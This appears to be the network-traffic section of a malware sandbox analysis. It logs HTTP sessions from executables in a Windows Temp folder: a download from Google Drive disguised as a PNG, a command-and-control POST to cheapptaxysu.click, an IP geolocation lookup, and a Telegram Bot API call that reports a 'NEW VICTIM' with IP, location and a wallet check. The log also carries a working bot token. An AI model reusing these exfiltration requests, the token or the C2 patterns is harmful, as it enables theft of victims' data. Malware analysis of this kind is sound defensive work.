                                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                                  Host: drive.usercontent.google.com
                                                                                                                                                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:50 UTC4919INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                  X-GUploader-UploadID: AFiumC4fbp3gxxyNFGhxlLnnjbMxmQrJ9llfHzWKtedP_sv5MSEj5sqXimIOceisI1YzNvXm5YKtlm4
                                                                                                                                                                                                                                                                                  Content-Type: image/png
                                                                                                                                                                                                                                                                                  Content-Security-Policy: sandbox
                                                                                                                                                                                                                                                                                  Content-Security-Policy: default-src 'none'
                                                                                                                                                                                                                                                                                  Content-Security-Policy: frame-ancestors 'none'
                                                                                                                                                                                                                                                                                  X-Content-Security-Policy: sandbox
                                                                                                                                                                                                                                                                                  Cross-Origin-Opener-Policy: same-origin
                                                                                                                                                                                                                                                                                  Cross-Origin-Embedder-Policy: require-corp
                                                                                                                                                                                                                                                                                  Cross-Origin-Resource-Policy: same-site
                                                                                                                                                                                                                                                                                  X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                                                                  Content-Disposition: attachment; filename="output.png"
                                                                                                                                                                                                                                                                                  Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                                                                  Access-Control-Allow-Credentials: false
                                                                                                                                                                                                                                                                                  Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED]
                                                                                                                                                                                                                                                                                  Access-Control-Allow-Methods: GET,HEAD,OPTIONS
                                                                                                                                                                                                                                                                                  Accept-Ranges: bytes
                                                                                                                                                                                                                                                                                  Content-Length: 156917
                                                                                                                                                                                                                                                                                  Last-Modified: Mon, 11 Nov 2024 02:30:33 GMT
                                                                                                                                                                                                                                                                                  Date: Sat, 21 Dec 2024 11:15:50 GMT
                                                                                                                                                                                                                                                                                  Expires: Sat, 21 Dec 2024 11:15:50 GMT
                                                                                                                                                                                                                                                                                  Cache-Control: private, max-age=0
                                                                                                                                                                                                                                                                                  X-Goog-Hash: crc32c=h6mvlQ==
                                                                                                                                                                                                                                                                                  Server: UploadServer
                                                                                                                                                                                                                                                                                  Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
                                                                                                                                                                                                                                                                                  Connection: close
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:50 UTC4919INData Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 b6 00 00 01 b6 08 06 00 00 00 13 09 a3 70 00 00 80 00 49 44 41 54 78 9c ec dd 07 7c 14 65 fa 07 f0 df 33 9b 0a 09 bd 9d 15 44 20 64 77 36 80 d8 d0 53 9a dc 59 00 5b d6 ce a9 e7 e9 9d 05 b0 23 2a 4c c0 82 67 c5 72 96 bb bf 9e e8 a9 24 58 41 3d 95 66 c3 16 85 ec ec 12 8a 8a 9e 05 0b 9d 00 29 bb f3 fc 3f bb 49 ee 28 d9 64 76 b3 33 ef 6c f6 fd 7e 3e 7e 3e b2 bb 33 ef 93 64 77 9f 79 cb 3c 6f 06 24 49 b2 ce a8 d3 ba 82 c2 c7 2b 8c 61 0c 14 02 74 08 08 3d c0 68 0f 80 40 a8 02 d3 06 10 af 23 c6 2a 03 fc 11 80 25 58 f4 da cf a2 43 97 a4 54 45 a2 03 90 a4 36 67 cc 98 f6 08 e5 fa 88 30 01 c0 71 00 94 04 ce f2 11 13 3d 03 64 3e 87 85 65 5b 2d 88 52 92 da 2c 99 d8 24 29 59 4e 3c b1 03 ea 32 27 12 d3 24 00 dd 92
                                                                                                                                                                                                                                                                                  Data Ascii: PNGIHDRpIDATx|e3D dw6SY[#*Lgr$XA=f)?I(dv3l~>~>3dwy<o$I+at=h@#*%XCTE6g0q=d>e[-R,$)YN<2'$
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:50 UTC4863INData Raw: aa aa 13 4c 25 b5 58 26 5c bf 63 68 76 d7 cd 7b 27 b5 86 36 04 d4 e8 92 a4 ff 71 b9 5c 31 df 83 59 59 59 09 ed b7 e6 76 bb ab 54 55 d5 5c 2e 97 4a f1 d7 58 ed 07 60 7e 43 79 ae c2 44 da 97 12 27 13 9b 43 31 33 05 02 81 09 86 61 7c 19 b9 02 8c e3 8a b1 d1 97 cc ec f3 7a bd a3 54 55 4d ca 0e c1 2e 97 ab c9 2f 08 22 11 c5 27 25 e9 7f 9a 9b 63 ab ae ae 6e d5 46 a2 85 85 85 6b 3d 1e 8f cf 30 8c d1 09 ec 8e d1 58 9e 6b 76 79 79 79 c7 d6 c4 21 99 27 13 9b 03 05 02 81 c3 03 81 c0 32 66 7e 3a c1 31 fe 92 9c 9c 1c 8f d7 eb 4d 6a 25 ff 70 38 dc e4 17 84 ec b1 49 a2 35 d7 63 cb cd cd 4d ca 0e d9 45 45 45 8b 36 6c d8 30 84 99 2f 03 f0 6b 1c 87 66 02 98 98 9d 9d fd 95 ae eb 93 4a 4b 4b e5 e7 c5 62 32 b1 39 c8 aa 55 ab f6 6b 28 83 f5 09 80 a3 e2 3c dc 00 a2 bb 10 1f aa
                                                                                                                                                                                                                                                                                  Data Ascii: L%X&\chv{'6q\1YYYvTU\.JX`~CyD'C13a|zTUM./"'%cnFk=0Xkvyyy!'2f~:1Mj%p8I5cMEEE6l0/kfJKKb29Uk(<
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:50 UTC1320INData Raw: bb 53 a2 8c 51 20 10 18 bb 71 7b d5 a3 7f 7f 7b e9 fe cf bf ff 31 0c 13 c3 93 5d 3b e4 1b 63 06 b9 9f ef cf 35 17 6a 9a e6 8c 25 e4 a3 c6 17 82 30 48 61 2e 00 63 00 13 f6 03 a8 3d c0 1d 81 68 45 ff 1a 10 aa 86 f4 39 b8 5f df 5e 3d 3a 1c dc a3 1b 0e e9 d9 1d 45 bd 0f 42 7e 6e 4e a4 c7 36 d3 e3 f1 d8 ba 22 4f b8 52 2d 0b c0 53 00 9d 2b a0 f5 1d 60 f6 e1 2c ed 0d 01 6d ff 57 ea 24 b6 46 a5 33 fb 80 8d 1b 41 f8 03 80 9c 24 9c 31 08 c2 9d e0 81 2f a4 fb cd d7 66 04 02 81 a7 98 f9 c2 bd 1f 67 e6 81 5e af d7 f6 b1 f4 78 24 38 ec b8 25 72 2d bc 61 c3 86 47 46 8c 18 e1 8c 2f 7b 93 2a 2a 2a da 2b 8a 72 7d e0 bb 1f a6 ce 7a 71 41 a6 ff 1b 73 53 a0 9e 83 f6 af 3a a1 c8 f3 97 fb 26 5f fe ac e5 41 ee 6d ec d8 76 d8 49 a7 29 84 93 99 69 04 80 5e 89 9c 46 21 c2 c0 03 f6
                                                                                                                                                                                                                                                                                  Data Ascii: SQ q{{1];c5j%0Ha.c=hE9_^=:EB~nN6"OR-S+`,mW$F3A$1/fg^x$8%r-aGF/{***+r}zqAsS:&_AmvI)i^F!
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:50 UTC1390INData Raw: 56 bc b8 64 c9 01 31 5f 38 fa d4 e1 44 ca 62 27 27 35 d4 6f 18 76 3e 6d aa 7b 13 27 9e d8 41 74 2c 52 eb a4 65 62 4b ab 6a 04 49 16 eb a2 40 51 14 5b 13 5b 45 45 c5 90 40 20 b0 ac 61 4b 19 b3 73 69 5f 30 73 a4 67 39 21 5d e6 d2 e2 e1 76 bb bf 54 55 f5 94 11 ea c0 71 2f df 34 e9 1b 33 7b bf ed aa ad c5 cb 1f 97 7b a7 fc df f3 df 4c 7b ec c9 07 96 2c 59 b2 67 f1 84 d1 e3 4e 26 e6 7f 03 e8 68 71 f8 49 c2 23 a9 36 eb 1d 99 dc 52 5b 5a 26 36 d9 63 4b 9c e8 1e 9b df ef ef ac eb fa 6c 45 51 3e 8d 63 2e 6d 33 80 c9 95 95 95 47 78 bd de 8f 2c 0e 31 e5 79 3c 9e f9 a1 ea ea c2 cb 7f 3f b2 64 de f5 57 d4 1c ef 1e d0 e2 31 5f ae ff d9 75 db bc d7 26 dd 31 ff ed 5f 1e 2d 7b e9 94 e8 83 23 c6 1f 49 4c 73 01 a4 da 3e 70 47 50 6d d6 ab 38 f1 c4 54 8b 5b 6a 60 45 69 2a c7
                                                                                                                                                                                                                                                                                  Data Ascii: Vd1_8Db''5ov>m{'At,RebKjI@Q[[EE@ aKsi_0sg9!]vTUq/43{{L{,YgN&hqI#6R[Z&6cKlEQ>c.m3Gx,1y<?dW1_u&1_-{#ILs>pGPm8T[j`Ei*
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:50 UTC1390INData Raw: af 62 3d fd 13 11 fd c1 ed 76 1f 2f 93 5a ea 61 d0 6f 45 c7 20 04 e3 38 d1 21 48 b1 a5 65 62 4b eb ca 23 44 97 88 f8 bb bf ba f5 3f 30 f6 dc ee 26 c4 cc f7 e7 e4 e4 0c f0 78 3c 73 88 28 0d 2f fc 53 5c fd ea c0 be a2 c3 10 41 01 62 de ce 22 89 97 96 43 91 69 dd 63 63 9c 26 a2 d9 f5 75 3b b1 b2 7a 0b 3c b9 9d 23 ff 5c 6a 18 c6 55 45 45 45 01 11 b1 48 49 b2 a1 ba 1f 6c de 39 dd 29 98 94 96 77 5f 95 84 49 cb c4 96 b6 3d b6 17 6f 3b 18 e1 70 6f 51 cd 2f db f9 f3 36 b5 5d 97 ab dc 6e f7 33 b2 87 d6 06 b8 70 68 fa 6e c1 c9 fd 44 47 20 c5 96 96 43 91 69 db 63 0b 87 3d 22 9b 7f fc d7 55 af cb 61 c7 36 c4 50 ba 88 0e 41 a0 74 fe d9 1d 2f 2d 13 5b da f6 d8 80 83 44 36 5e cb c6 7e 22 db 97 92 8c 90 2f 3a 04 81 da a1 b8 38 2d 87 61 53 41 5a 26 b6 b4 ed b1 11 89 fe 22
                                                                                                                                                                                                                                                                                  Data Ascii: b=v/ZaoE 8!HebK#D?0&x<s(/S\Ab"Cicc&u;z<#\jUEEEHIl9)w_I=o;poQ/6]n3phnDG Cic="Ua6PAt/-[D6^~"/:8-aSAZ&"
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:50 UTC1390INData Raw: 83 f8 29 d4 66 5f d7 50 8e ca 11 fc 7e ff 68 8a f4 2a e3 1f 92 dd c0 cc f7 b8 5c ae fb dd 6e 77 6d b3 af 9c 37 b3 1f 98 4f 06 f3 71 00 0a 33 48 39 28 c4 46 6e b6 e2 42 47 25 13 bd b3 f3 a1 e6 74 46 2e 65 dc f9 f0 7b c1 5b ea 6f d6 8d 4f 30 18 1c 69 18 c6 7d 00 8a 4c bc 3c 72 fe 7f 19 86 71 9d 9c 7f 73 a8 91 a7 5e 40 c4 73 44 87 61 85 1e 9d 3a 18 af dd 34 59 d9 ab b7 d6 94 85 8a a2 5c ef 76 bb 57 d8 13 99 35 64 62 4b a6 25 5a 06 36 d0 6d 60 dc e0 b0 d8 be 03 f1 d9 a2 7b 6f c1 60 f0 08 c3 30 ee 02 30 3c ce 43 77 12 d1 43 d9 d9 d9 77 f4 eb d7 2f a1 aa 23 81 40 60 02 33 3f dd c4 53 13 54 55 7d 26 91 73 62 cf f9 b7 bf 02 e8 69 e2 90 2d cc 3c ab ad ce 6d a4 ba 4e e3 ce 29 df ba 63 e7 61 a2 e3 48 b6 03 ba 77 bd e8 cd 5b ae 29 60 e6 ab 4d 8c 20 19 44 f4 62 38 1c
                                                                                                                                                                                                                                                                                  Data Ascii: )f_P~h*\nwm7Oq3H9(FnBG%tF.e{[oO0i}L<rqs^@sDa:4Y\vW5dbK%Z6m`{o`00<CwCw/#@`3?STU}&sbi-<mN)caHw[)`M Db8
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:50 UTC1390INData Raw: 63 e6 8b 13 d8 5d 61 21 11 5d e7 f1 78 2a 12 0b 33 71 4e 4a 6c d8 f3 fe b7 bb 00 34 b9 2f ce 5e 22 1f c6 7b f2 f2 f2 66 f5 e9 d3 a7 3a e9 01 cd d3 0a 60 28 8f 00 3c 32 e9 e7 ae f7 31 14 ba dc 8e 1e 1c 33 93 ae eb 67 2a 8a f2 57 66 ee 6d e2 90 3a 00 8f d6 d4 d4 4c 8b 39 7a 70 e2 89 1d a8 2e eb 19 30 c6 25 3d e0 e4 d8 c9 e0 cb b0 e8 b5 a4 57 ee 0f 04 02 87 37 bc 4f cd 5c ec 54 01 b8 77 fb f6 ed 77 0d 1b 36 6c 57 b2 63 31 4b 26 b6 78 2c d1 32 f0 2b 95 9b ac 34 91 5a 18 e7 c6 aa 91 88 fa f9 89 bc 70 38 7c 05 11 45 7a aa f9 71 9e fd f3 86 1e 87 b0 72 3d 4e 4b 6c 8d 12 98 7f fb 8e 88 6e 71 bb dd cf 50 32 7a 40 d1 32 64 33 af 07 f3 4c 1b 4a bf 85 41 7c 17 ba 61 3a 46 68 21 2b 1a 68 28 02 70 3f 80 61 26 0f 59 00 60 b2 aa aa 5f 99 78 2d 61 d4 b8 89 04 fa ab a0 32
                                                                                                                                                                                                                                                                                  Data Ascii: c]a!]x*3qNJl4/^"{f:`(<213g*Wfm:L9zp.0%=W7O\Tww6lWc1K&x,2+4Zp8|Ezqr=NKlnqP2z@2d3LJA|a:Fh!+h(p?a&Y`_x-a2
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:50 UTC1390INData Raw: c6 2d df 36 3e 10 0c 06 b3 0c c3 f8 4b c3 76 40 66 4a 3c 59 33 8f 66 b1 55 ab 56 ed b7 69 db f6 1f 8e b9 e9 b6 7d 9e cb ca 70 7d 53 f3 d6 4b 29 57 d2 0b 7b ee 92 3f cb 64 e9 c1 55 0d c3 93 ff db 19 bf 74 c6 61 00 47 7a dc ed 2c 0e f7 13 6c ee f5 5b 5c 76 59 9d c5 ed 98 62 fd 4d d2 75 a1 51 e9 94 d4 22 96 55 35 b9 0a 7b 33 33 4f d9 be 7d 7b 7f af d7 fb 44 2a 25 b5 b6 24 f2 81 f7 7a bd 65 35 35 35 85 91 bf 47 c3 0d b1 cd 69 0f 60 7a be c2 6b 1c 9c d4 10 fd e2 0a 85 fe 5b b7 34 10 08 8c 35 0c a3 12 c0 03 26 93 da 02 c3 30 0a 54 55 9d 94 4a 49 ad 25 6c 38 6e 6f 47 d3 88 c8 88 bc 57 15 45 19 c8 cc 97 01 f8 b5 85 43 0a 88 a8 34 10 08 2c ab a8 a8 f8 2d 4a ef cb 05 b8 d4 86 a4 16 71 24 3a fd 74 8d 0d ed 98 62 7d 62 53 8c 64 95 16 4a 19 eb 6a b7 e3 97 d0 7f 17 d7
                                                                                                                                                                                                                                                                                  Data Ascii: -6>Kv@fJ<Y3fUVi}p}SK)W{?dUtaGz,l[\vYbMuQ"U5{33O}{D*%$ze555Gi`zk[45&0TUJI%l8noGWEC4,-Jq$:tb}bSdJj
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:50 UTC1390INData Raw: 00 45 39 d3 09 73 6b 8d ec b9 9a a1 e8 d6 fb e9 e2 5b f8 a6 a7 65 25 f5 36 c9 37 65 2b 88 e7 8b 0e c3 3c 7a 17 be 5b e5 fc 5a 23 4a e3 1e 5b 23 9f 36 1d e0 87 2d 3a fb 66 80 4f c6 99 b7 ae b5 e8 fc 09 b1 e7 8f ce c6 4b f5 bf 80 74 40 4f 82 c8 8e ae bf 64 17 c6 bd a2 43 30 8d f9 3e d1 21 38 4c fa ce b1 ed ce a7 5d 05 a6 9b 93 3c 2d f4 15 14 fa 2d 7c da a7 49 3c 67 52 d8 93 d8 7c 5a 15 08 56 5d 31 38 c9 0e 84 8c bf 89 0e 42 4a b2 e8 07 37 25 e6 da 56 c0 37 6d 81 e8 20 1c 25 cd b6 ad 69 d6 59 d3 ee 00 f1 68 00 5f b6 f2 4c 0c c6 53 a8 e5 21 38 73 5a 30 49 d1 25 95 7d dd 74 e6 07 c4 dc 57 61 a3 48 f2 3e 57 13 b9 75 ad 64 15 c3 b8 1a 80 c3 57 1a f2 b5 72 b4 60 4f 9c 26 1b 8d 9a 56 ac 2d c5 0e 56 c1 b8 06 c0 0f f1 1c 1a b9 42 c8 20 d7 3b 30 78 18 ce 9a 7e 31 ce
                                                                                                                                                                                                                                                                                  Data Ascii: E9sk[e%67e+<z[Z#J[#6-:fOKt@OdC0>!8L]<--|I<gR|ZV]18BJ7%V7m %iYh_LS!8sZ0I%}tWaH>WudWr`O&V-VB ;0x~1
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:50 UTC1390INData Raw: d0 c5 96 ce 8f ee 59 d3 1b 5a 86 bb fe b5 84 10 b1 ac aa 52 ee d8 e2 4c f4 25 b6 9f 3b 3e b5 7a c9 cf db 1a 7d a2 aa 5f 02 b8 a4 91 33 f8 d1 4b af 59 6f 5c 80 42 08 53 25 27 c9 1d 5b 9c 89 fe c4 26 c2 e7 83 89 6d 91 58 75 29 98 2e fc e3 77 05 03 bb da 5a c1 4a 0a da 58 12 71 8e 2d 1d 99 49 6d 71 76 62 9a d9 51 8a 78 33 60 e8 79 00 2e 86 82 6e 0a 73 87 4b 1e 71 b6 fe 5d 2f 47 d3 c7 fb 6a 25 b1 c5 19 49 6c e2 a7 16 bc 6a c3 d1 c3 7f 04 f1 dd 40 75 5f 30 d5 95 71 5c 15 07 eb fe f9 b9 54 8b f5 65 e4 8c eb 06 9f e5 1f f8 c3 98 9d 66 84 2c e2 c0 95 43 4e 57 34 ba 97 81 3f 02 7c 5e dd d7 f8 78 3b a0 d2 63 15 f8 78 c5 d7 4d 9f 5b 5d 25 a5 c8 38 23 bf 70 71 1c 33 21 67 dc 9f 51 76 e8 3b 10 ff 0b c0 65 7a de 1f e5 be da 0e 00 46 c3 e2 fb 06 1f 3b 5f 47 8e 33 12 16
                                                                                                                                                                                                                                                                                  Data Ascii: YZRL%;>z}_3KYo\BS%'[&mXu).wZJXq-ImqvbQx3`y.nsKq]/Gj%Ilj@u_0q\Tef,CNW4?|^x;cxM[]%8#pq3!gQv;ezF;_G3


                                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                                  11192.168.2.449867104.21.67.1464438036C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exe
                                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:49 UTC355OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                                                                                                                                                  Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                  Cookie: __cf_mw_byp=krR5sxDNE9FUa.r1_N2PJQUMG47JPl6SF8wl79F24pI-1734779729-0.0.1.1-/api
                                                                                                                                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                                                  Content-Length: 85
                                                                                                                                                                                                                                                                                  Host: cheapptaxysu.click
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:49 UTC85OUTData Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 43 5a 4a 76 73 73 2d 2d 67 65 6f 70 6f 78 69 64 26 6a 3d 26 68 77 69 64 3d 45 46 30 41 38 34 44 43 38 45 46 43 42 35 45 36 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45
                                                                                                                                                                                                                                                                                  Data Ascii: act=get_message&ver=4.0&lid=CZJvss--geopoxid&j=&hwid=EF0A84DC8EFCB5E6AC8923850305D13E
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:50 UTC1126INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                  Date: Sat, 21 Dec 2024 11:15:49 GMT
                                                                                                                                                                                                                                                                                  Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                                  Transfer-Encoding: chunked
                                                                                                                                                                                                                                                                                  Connection: close
                                                                                                                                                                                                                                                                                  Set-Cookie: PHPSESSID=7j9sgmu9lpic90o67tnshvtss9; expires=Wed, 16 Apr 2025 05:02:28 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                                                  Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                                                  Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                                                  Pragma: no-cache
                                                                                                                                                                                                                                                                                  X-Frame-Options: DENY
                                                                                                                                                                                                                                                                                  X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                                                                  X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                                                                  cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                                                  vary: accept-encoding
                                                                                                                                                                                                                                                                                  Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BcCNXrPyJnLkNqEnD8NQj0stYbyHKq4eLyUyFNeyJ%2FNv4e2XVNm2VnYXjtl7g5jNHNS626DCbbevE2Wkj5JYLOeJVxiTx8zk6Pylr6Dq51xDqSvsbqHGXe1o0iWfqz5SiWFiGPY%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                                  NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                                  Server: cloudflare
                                                                                                                                                                                                                                                                                  CF-RAY: 8f5774da2df04400-EWR
                                                                                                                                                                                                                                                                                  alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                                                  server-timing: cfL4;desc="?proto=TCP&rtt=2140&min_rtt=2135&rtt_var=811&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2843&recv_bytes=1076&delivery_rate=1341295&cwnd=155&unsent_bytes=0&cid=efdbbe21216f74a2&ts=859&x=0"
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:50 UTC54INData Raw: 33 30 0d 0a 62 44 53 50 76 50 47 66 51 6d 34 61 2b 54 4d 39 43 72 42 58 4c 7a 71 4b 4d 74 79 39 6d 53 57 38 49 37 45 75 43 74 70 77 47 57 6f 33 61 51 3d 3d 0d 0a
                                                                                                                                                                                                                                                                                  Data Ascii: 30bDSPvPGfQm4a+TM9CrBXLzqKMty9mSW8I7EuCtpwGWo3aQ==
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:50 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                                                  Data Ascii: 0


                                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                                  12192.168.2.44987234.117.59.814433248C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exe
                                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:51 UTC91OUTGET /json HTTP/1.1
                                                                                                                                                                                                                                                                                  User-Agent: IPInfoFetcher
                                                                                                                                                                                                                                                                                  Host: ipinfo.io
                                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:51 UTC345INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                  access-control-allow-origin: *
                                                                                                                                                                                                                                                                                  Content-Length: 321
                                                                                                                                                                                                                                                                                  content-type: application/json; charset=utf-8
                                                                                                                                                                                                                                                                                  date: Sat, 21 Dec 2024 11:15:51 GMT
                                                                                                                                                                                                                                                                                  x-content-type-options: nosniff
                                                                                                                                                                                                                                                                                  via: 1.1 google
                                                                                                                                                                                                                                                                                  strict-transport-security: max-age=2592000; includeSubDomains
                                                                                                                                                                                                                                                                                  Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
                                                                                                                                                                                                                                                                                  Connection: close
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:51 UTC321INData Raw: 7b 0a 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 0a 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 31 38 39 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 33 20 50 61 72 65 6e 74 2c 20 4c 4c 43 22 2c 0a 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 31 30 30 30 31 22 2c 0a 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a
                                                                                                                                                                                                                                                                                  Data Ascii: { "ip": "8.46.123.189", "hostname": "static-cpe-8-46-123-189.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Level 3 Parent, LLC", "postal": "10001", "timezone":


                                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                                  13192.168.2.449879149.154.167.2204433248C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exe
                                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:53 UTC513OUTGET /bot7855878545:AAEEMUvgpX9jTAxlDd2gM_Sbv2jbI6-5_0o/sendMessage?chat_id=7427009775&text=%3Cb%3E%F0%9F%94%94NEW%20VICTIM%20%2D%20Extensions%20Installed%3C%2Fb%3E%0A%3Cb%3EIP%20Address%3A%3C%2Fb%3E%208%2E46%2E123%2E189%0A%3Cb%3EDevice%20Name%3A%3C%2Fb%3E%20494126%0A%3Cb%3ELocation%3A%3C%2Fb%3E%20New%20York%20City%2C%20New%20York%2C%20US%0A%3Cb%3EWallets%3A%3C%2Fb%3E%0A%3Ccode%3ENothing%20found%3C%2Fcode%3E&parse_mode=HTML HTTP/1.1
                                                                                                                                                                                                                                                                                  User-Agent: TelegramBot
                                                                                                                                                                                                                                                                                  Host: api.telegram.org
                                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:53 UTC388INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                  Server: nginx/1.18.0
                                                                                                                                                                                                                                                                                  Date: Sat, 21 Dec 2024 11:15:53 GMT
                                                                                                                                                                                                                                                                                  Content-Type: application/json
                                                                                                                                                                                                                                                                                  Content-Length: 777
                                                                                                                                                                                                                                                                                  Connection: close
                                                                                                                                                                                                                                                                                  Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                                                                  Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                                                                  Access-Control-Allow-Methods: GET, POST, OPTIONS
                                                                                                                                                                                                                                                                                  Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:53 UTC777INData Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 36 36 37 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 35 35 38 37 38 35 34 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 72 68 6a 64 66 74 6a 6b 77 34 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 72 68 6a 64 66 74 6a 6b 77 34 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 34 32 37 30 30 39 37 37 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5c 75 30 34 31 61 5c 75 30 34 33 30 5c 75 30 34 34 30 5c 75 30 34 33 34 5c 75 30 34 33 30 5c 75 30 34 33 64 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 5c 75 30 34 31 32 5c 75 30 34 33 30 5c 75 30 34 33 62 5c 75 30 34 33 65 5c 75 30 34 33 32 22
                                                                                                                                                                                                                                                                                  Data Ascii: {"ok":true,"result":{"message_id":26672,"from":{"id":7855878545,"is_bot":true,"first_name":"srhjdftjkw4","username":"srhjdftjkw4_bot"},"chat":{"id":7427009775,"first_name":"\u041a\u0430\u0440\u0434\u0430\u043d","last_name":"\u0412\u0430\u043b\u043e\u0432"


